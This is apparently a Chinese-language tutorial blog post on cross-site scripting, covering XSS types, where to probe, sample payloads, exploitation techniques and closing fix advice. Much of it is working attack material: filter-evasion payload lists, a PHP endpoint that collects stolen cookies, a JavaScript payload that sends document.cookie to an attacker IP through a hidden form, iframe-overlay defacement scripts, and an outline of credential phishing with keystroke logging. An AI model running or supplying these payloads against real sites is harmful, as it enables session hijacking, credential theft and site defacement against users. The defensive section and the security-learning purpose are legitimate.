XSS 漏洞原理

XSS 漏洞是一种跨站脚本攻击,攻击者通过构造恶意脚本传入服务器,并且被当成前端脚本执行了。

XSS 分类

  1. 反射型 XSS

反射型 XSS 是攻击者将恶意脚本注入到请求参数中,服务器将参数返回给客户端时,脚本从服务器“反射”到客户端并被执行的过程。攻击者通常会诱导用户点击包含恶意脚本的链接,或者在搜索框等地方输入恶意脚本,以便将脚本注入到请求参数中。

  1. 存储型 XSS

存储型 XSS 是攻击者将恶意脚本提交到网站的数据库中,当其他用户浏览到包含恶意脚本的页面时,恶意脚本会从数据库中读取并被执行。攻击者通常会在评论区或者提交表单的地方注入恶意脚本,以便将脚本保存到服务器的数据库中。

  1. DOM 型 XSS

DOM 型 XSS 是一种特殊的 XSS 攻击,与前两种攻击不同,它不需要将恶意脚本发送到服务器,而是利用了浏览器的 DOM 特性,通过修改页面中的 DOM 节点来执行恶意脚本。攻击者通常会通过诱导用户访问包含恶意脚本的页面来实现攻击。

XSS 漏洞的危害

XSS 漏洞的危害包括但不限于以下几点:

  • 窃取用户的敏感信息,如 cookie、密码等。
  • 盗取用户的账号,进行恶意操作。
  • 修改网页内容,如篡改文章、插入广告等。
  • 伪造用户操作,如模拟用户表单提交等。
  • 向其他用户传播恶意脚本,造成更广泛的危害。

JS 代码的调用方式

在前端三件套中,只有 javascript 有能力操控浏览器并且可以在用户无感的情况下执行一系列恶意攻击的操作。所以在开始进行 XSS 漏洞检测手法讲解之前,需要先了解一下 JS 代码他是如何被网页调用并且执行的。

网页调用 JS 的手法一共有 3 种:

  • 标签法
  • 事件法
  • 伪协议法

标签法
HTML 语言中,不同的标签有着不同的功能,其中就有一个标签用来运行 javascript 脚本的:

<script></script>
通过这个标签,就可以导入 javascript 代码。标签法导入 js 代码,他有两种形式:

  1. 直接在标签对之间写 js 代码
<script>  
// 在标签对之间书写 js 代码    
alert(1);
</script>
Plain text
  1. 通过 src 属性,导入 js 文件
<script src='target.js'></script>  
// src 可以是相对路径,也可以是超链接
<script src="https://unpkg.com/vue@3/dist/vue.global.js"></script>
Plain text

在这里需要注意一点,这两种形式只能二选一来使用。

事件法

事件是 HTML4 的新特性之一,它使得用户在对网页进行一些操作时,可以触发 js 代码,从而达到更好的交互效果。比如:

<!DOCTYPE html>
<html>
<body>
<img id="image" src="/i/eg_smile.gif" />
<input type="button" onclick=change() value=" 修改 "/>
<!-- 当用户点击按钮时,触发 js,修改图片的路径 -->
<input type="button" onclick=back() value=" 还原 "/>
<!-- 当用户点击按钮时,触发 js,修改图片的路径 -->
<script>    
// 点击 修改 时调用的 js 代码    
function change(){
          document.getElementById("image").src = "/i/porsche.jpg";    
          }    
          // 点击 还原 时调用的 js 代码    
          function back(){        
          document.getElementById("image").src = "/i/eg_smile.gif";
            }
            </script>
            <p> 原始图像是 eg_smile.gif,但脚本将其更改为 porsche.jpg</p>
      </body>
  </html>
Plain text

而前端中通常包含非常多的事件类型,感兴趣的可以去看看:

HTML 事件 | 菜鸟教程

协议法

伪协议(Pseudo-protocols)是一种用于 URL(统一资源定位符)中的特殊协议标识符。它们不是真正的协议,而是在特定的上下文中执行特定的操作或触发特定的行为。

伪协议的种类非常多,常用的就包括:php 伪协议、data 伪协议、dict 伪协议、gopher 伪协议等等。而在触发 js 代码的伪协议中,重点要说两种:

  • javascript:

    <a href="javascript:alert(1)"></a>
    Plain text
  • data:

    <script src="data:text/javascript;base64,YWxlcnQoMSk="></script>
    Plain text

    通过这两种方式都能触发执行 js 代码

XSS 漏洞挖掘思路

虽然 XSS 在定义上被分为了 3 类:反射型、存储行和 dom 型,但是在探测网站是否存在 xss 漏洞时,并不需要这样的分类。因为不管是哪一个类别的 XSS,如果它存在,那么它在表现上通常是一致的:我们插入的 js 代码被执行了。

所以我们在挖掘 XSS 漏洞的时候,只需要去找能够输入内容的地方,比如:表单字段、查询字符串、URL 参数、Cookie、HTTP 头等用户可以输入内容的地方,在这些地方传入构造好的恶意代码,如果有代码被触发了,就说明这个点是存在 XSS 漏洞的。

1. 查询字符串

当网站存在搜索或者查询功能时,我们可以先简单判断输入的字符是否会在前端输出。如果有输出,那么我们就可以常去对这些输出的位置测试 XSS 漏洞
查询字符串

查询字符串

2. 数据提交表单

表单测试 xss 相对来说会复杂一些。因为表单会出现两种情况:

  1. 我们提交数据之后,前端会显示我们提交的表单信息。经典案例:

注册信息、留言信息、评论信息、订单提交信息等

  1. 我们提交数据之后,前端不会显示我们提交的表单信息。经典案例:

问卷调查、意见反馈信息等等

对于这两种形式的表单,我们使用的测试方法会有所不同。

对于第一种,我们直接使用正常的测试语句去进行测试就行了:
xss测试

xss 测试

xss漏洞测试
xss 漏洞测试

通过这样的方式就可以对前端有回显的表单进行 XSS 测试。这样我们就能够判断出表单是否存在 XSS 漏洞了。

对于第二种形式,由于前端不会显示我们提交的表单信息,所以我们只能通过一些特殊的方式来进行测试:盲打

盲打是在我们不能直接看到回显时使用的一种的攻击手法,这个的核心目标是通过一些间接的证据来体现脚本被执行成功。这就好比 SQL 注入的盲注,在 SQL 盲注中,我们可以通过 bool 比较,让网页显示不一样的内容。可以让数据库休眠,延长网站的响应时间。XSS 盲打也是借助这样的原理来实现,不过这个需要考验攻击者的 js 代码编写水平。

当然,也有简单的方式:借助 XSS 平台是否抓取到用户 cookie 来判断 XSS 漏洞是否存在。

XSS 盲打实战案例:某网页漫画 _xss 实战

这样的方式,虽然能够成功实现 一个 XSS 盲打攻击,但是,需要提醒各位,使用 XSS 平台容易造成法律风险。所以在实际项目或 src 挖掘时,需要慎重使用。

3.Cookie、请求头等位置

cookie 和请求头中的这些传参位置,通常容易被开发人员和安全设备忽略掉。这个是由于,一般 cookie 这些数据不会直接显示在前端页面上。但是这并不意味着这些地方就是安全的,一定不可能存在 XSS 的。

我们对 Cookie 等位置的测试,一般也都是以盲打为主

了解完需要测试点位之后,接下来就需要去构造测试使用的 javascript 语句了。这些构造通常由三种形式:

1. 标签风格

借助各种标签来调用 js 代码,常用的标签由:svg,iframe,img ,script 等等

<svg onLoad svg onLoad="javascript:javascript:alert(303)"></svg onLoad>
<iframe onLoad iframe onLoad="javascript:javascript:alert(296)"></iframe onLoad>
<!--\x3E<img src=xxx:x onerror=javascript:alert(358)> -->
<script>javascript:alert(356)</script\x0B
<script charset="\x22>javascript:alert(357)</script>
Plain text

直接在输入点传入完整的标签,这种方式主要用于网站将数据输出在了两个标签之间的情况
2. 事件风格

通过闭合标签中的属性,实现向标签中插入新的属性或者事件

' onerror=alert(1) \\ " onfocus=alert(1) autofocus=autofocus \\
Plain text

如果你由仔细观察过标签风格中给出的 xss 语句,你会发现,其实在标签风格中就已经有不少 poc 是在借助事件来测试 XSS 了,它们和我们们现在说的这个的唯一区别就是,事件风格,不在受限于 <> 字符了。我们是直接将数据插到了已有的标签中去实现攻击的
3. 伪协议风格:

伪协议风格的使用条件相对来说要求比较严格,需要标签存在 href 属性或者网页能需要填写 http 连接。所以通常会借助 a 标签或者一些特殊的文档语法来测试:

<a href="javascript:alert(1)"> testxss</a> [xsstest](javascript:alert(1))
Plain text

总结:
通过构造一些特殊的 xss poc,在可能出现 XSS 漏洞测试点将这些语句传入网站,我们就能过够相对轻松的探测出 XSS 漏洞

XSS 的利用手法

安全声明:以下内容仅用于技术讨论和学习,请勿用于非法用途

当我们通过之前讲的一系列的探测手法,发现目标网站存在 XSS 漏洞之后,我们如何借助这些 XSS 漏洞获得实际有效的漏洞成果呢?特别是对于红队选手,红队的得分点并不在于发现漏洞,而是通过漏洞获得有价值的信息。

所以在这里就需要去讨论 XSS 漏洞究竟能带来什么样的危害,这些危害是如何去实现的。

XSS 中最常见的攻击手段包括一下内容:

  • 窃取用户信息
  • 恶意重定向
  • 篡改网页内容
  • 发起钓鱼攻击

窃取用户信息

js 能够在浏览器中获取用户的一些基本信息:cookie、个人资料等。这些实现的方式也并不复杂,最简单的方式如下:

  1. 通过 vps 搭建一个站点,要求如下:
  1. 任意用户能访问
  2. 接受 2 个传参:网址 url 地址和 cookie,并将传递的参数进行 base64 解密
  3. 将域名 + 时间戳作为文件名,保存传递过来的 cookie 信息
    实现代码如下:
<?    
if(isset($_REQUEST['cookieinfo']) && isset($_REQUEST["url"]) ){        
$info = base64_decode($_REQUEST['cookieinfo']);
   $domain =base64_decode($_REQUEST['url']);
   file_put_contents($domain.time().".txt", $info);
   echo "nice to get this message";    
}else{        
  echo "hello world";    
}
?>
Plain text
  1. 构建 xss 攻击语句,要求如下:
  1. 通过 js 获取目标站点的 cookie、host,并将这些信息进行 base64 编码
  2. 创建 span 标签、form 标签、iframe 标签
  3. span 标签设置为 display:none ,并且添加 form 标签和 iframe 标签为子标签
  4. 设置 form 标签,将数据提交到接受网站,并且按照接收平台的规则将数据进行组装
  5. 设置 form 提交结果相应到 iframe 标签中 6. 将 span 标签添加到 html 标签中,并且提交 form 标签

代码实现如下:

(function(){    
// 获得目标站点的信息    
var cookieinfo = btoa(document.cookie);
var url = btoa(window.location.host.replace(":","_"));    
// 设置接受信息的站点        
var target_url = "http://192.168.226.1/phpinfo.php";    
// 创建需要使用到的标签    
var html = document.getElementsByTagName('html')[0];    
var span = document.createElement("span");    
var form = document.createElement('form');    
var input1 = document.createElement("input");    
var input2 = document.createElement("input");    
// 设置 form 标签的基本属性    
form.action = target_url;    
// 设置传递的值域 1 :cookie 信息    
input1.name = "cookieinfo";    
input1.type = "text";    
input1.setAttribute("value",cookieinfo );    
// 设置传递的值域 2 :域名信息    
input2.name = "url";    
input2.type = "text";    
input2.setAttribute("value",url)    
// 将值域填充到 form 表单中    
form.appendChild(input1);    
form.appendChild(input2);    
// 创建一个 iframe,用于接受 form 表单提交后返回的数据    
var iframe = document.createElement("iframe");    
iframe.name = "_test";    
// 设置 form 的 target,实现隐藏 form 回显的问题    
form.target = iframe.name;    
// 将 form 和 iframe 都填充到 span 中    
span.appendChild(form);    
span.appendChild(iframe);    
// 将 span 标签隐藏    
span.style.display = "none";        
// 然后将表单都填充到 html 页面中    
html.appendChild(span);    
// 提交表单    
form.submit(); })()
Plain text

通过这样的方式,就可以简单的实现用户数据窃取。当然,这样的代码比较丑陋(开发能力有限,见谅),在实际测试的时候有更优解:XSS 平台

xss 平台的作用和上面的功能是一样的。它是别人开发好的一套相对优雅的解法。但是,需要注意一点:公共 XSS 平台是不安全的,XSS 平台的维护人员是能从 XSS 平台的后台获取所有打到该平台的 XSS 信息。

所以如果在实际项目中,项目对数据的保密性有要求,切忌使用公开 XSS 平台。

不过还是不能绕过 XSS 平台的简介,这里以 xsscom.com 平台为例,进行讲解,大部分的 XSS 平台都是大同小异的:
xss平台

xss 平台

首先访问站点,之后进行一个注册。因为国内政策的原因,现在大部分的 XSS 平台注册都需要邀请码,同时需要使用邮箱进行注册。邀请码这个东西,没辙,不过现在有一部分的 XSS 平台是不限制邮箱的,所以我们可以通过临时邮箱来注册这些平台。(攻防中,一定要保护还好自己的个人隐私)

(如何获取临时邮箱?你猜猜看)

注册完成之后,使用账户进行登录,我就不在截图了。登录成功之后创建一个项目。一部分 XSS 平台对项目创建和数据存储有限制,这个自行探索。
xss利用

xss 利用

创建 → 项目名称、描述 → 勾选模块 (默认模块 (必勾)、XSS.js(必勾)、基础认证钓鱼模块 (可选 )) → 完成
xss平台创建项目
xss 平台创建项目

当创建完项目之后,将会得到一个代码页面,拖到最下面,就会有 XSS 平台的利用方法:

xss平台利用方法

xss 平台利用方法

然后将这些利用方式,替换我们的 XSS 检测点的无害 XSS,就能实现 基础的 Cookie 窃取:

cookie窃取

cookie 窃取

这个解法,就很优雅了。唯一的缺点是:使用的是公共 XSS 平台。信息保密性无法保证。

恶意重定向

这个理解起来也很简单:就是通过向网页插入一串 JS 代码,让网页自动跳转到指定的网站中。

window.location.href="http://192.168.226.1"
Plain text

当然,这个方式并不够优雅,因为这个跳转之后,浏览器地址栏的内容也会发生变化。这个迷惑性相对来说比较低,只要稍微注意一点,就能发现网站发生了异常。

篡改网页内容

所以就有了更优雅的攻击方式:篡改网页内容。在不修改地址栏的内容,实现对网站内容的篡改。

这里介绍一个新的平台:xssaq.com。这也是一个 XSS 平台,只不过它更加的暴力和优雅:
xssaq.com

xssaq.com

而我刚刚说的篡改网页你内容,就能通过他的一项配置来实现:

xss篡改网页

xss 篡改网页

通过这个配置,就可以再不修改地址栏的内容。将网站重定向到指定的 url 中。在没有去看他的实现代码之前,我想到的思路是这样的:

  1. 通过 js 将原来的 body 给删除
  2. 通过 js 创建一个 form 表单,然后请求目标地址
  3. 通过 js 创建一个 iframe 标签,用来接收 form 表单的返回结果。
  4. 重新生成 body,并且将 form 和 iframe 插入 body 标签。将 body 插入到 html 标签

在模仿 Cookie 窃取的思路来实现这个攻击。实现一下这个代码:

(function(){   var body = document.getElementsByTagName('body')[0];
body.parentNode.removeChild(body);
  var html = document.getElementsByTagName("html")[0];    
  body = document.createElement("body");    
  html.appendChild(body);    
  var iframe = document.createElement("iframe");    
  iframe.name = "_test";    
  var form = document.createElement("form");
  form.action="https://www.anchorubik.com";
  form.method="get";
  form.target = iframe.name;
  body.appendChild(form);
  body.appendChild(iframe);
  iframe.style.cssText =
  "position:absolute;"+
  "z-index:100000;"+
  "width:100%;height:100%;"+
  "frameborder=no;scrolling:no";    
  form.submit();})()
Plain text

不过这个代码实现的并不优雅。因为当遇到一些站点,不允许 iframe 跨域调用时,页面就会报错。而且,如果目标站点使用的是 https 时,重定向的目标站也必须使用 https。

然后我就去看了一眼 xssaq 平台是怎么实现的。嗯,我思路是没有错的:
xssaq平台

xssaq 平台

不过我尝试着直接拿上面的这一串代码放到浏览器中打 self xss,发现效果没有上面的代码好。稍微修改一下自己的代码,然他显得不那么丑陋

(function(){    
var html = document.getElementsByTagName("html")[0];
  html.removeChild(document.getElementsByTagName("body")[0]);
  var body = document.createElement("body");
  body.style.cssText="scrolling:no";
  html.appendChild(body);
  var iframe = document.createElement("iframe");
  iframe.src="https://www.anchorubik.com";
  body.appendChild(iframe);
  iframe.style.cssText =
  "position:absolute;"+
  "z-index:100000;"+
  "width:100%;height:100%;"+
  "frameborder=no;scrolling:no";
  })()
Plain text

优雅,不过如果细心一点还是能发现问题: 在网页上的操作,地址栏的内容将维持不变

xss网页

xss 网页

发起钓鱼攻击

在了解了串改网页内容攻击的原理之后,还想要进一步攻击,那不就是钓鱼了?而有了篡改网页内容的基础之后,接下来要钓鱼还不是轻轻松松?

  1. 通过在自己的 vps 上模仿搭建目标站点的登录页面。
  2. 在自己的 vps 中实现以下功能:

    a. 将用户提交的数据转发到原网站
    b. 如果登录成功,则将数据保存在本地。并且不在劫持页面。
    c. 如果登录失败,则将响应信息返回给目标用户,知道用户登录成功
    思路有了,接下来就是代码实现来了:我觉得这个时候,各位应该可以拿起 cs 了。cs 有一个钓鱼模块,能够轻松复刻目标站点,并且实现键盘记录。通过 XSS 篡改目标网站到我们 cs 生成的网站,能够完美实现钓鱼。

具体的实现方式,我这里就去写了,有点懒,在这里我想讨论另一个东西:如果目标站点存在 XSS 漏洞,我已经能够通过 XSS 获取目标的 Cookie 了,还有必要去钓鱼吗?

我认为有点鸡肋。

XSS 漏洞修复建议

  1. 对用户输入进行过滤和转义,可以使用 html 实体编码或 JavaScript 转义函数实现。对于不需要包含 HTML 标签的文本,可以直接使用纯文本方式输出。
  2. 对于需要包含 HTML 标签的富文本,可以使用专门的富文本编辑器或者 Markdown 等标记语言,在服务器端对 HTML 标签进行白名单过滤。
  3. 设置 HTTP 响应头的 Content-Security-Policy,限制页面的资源加载,禁止加载任何非白名单域名下的 JavaScript、CSS 等资源。
  4. 对于 cookie 等敏感信息,应设置 HttpOnly 和 Secure 属性,禁止通过 JavaScript 读取或修改 cookie 的值。
  5. 定期更新相关组件和框架,及时修复已知的漏洞。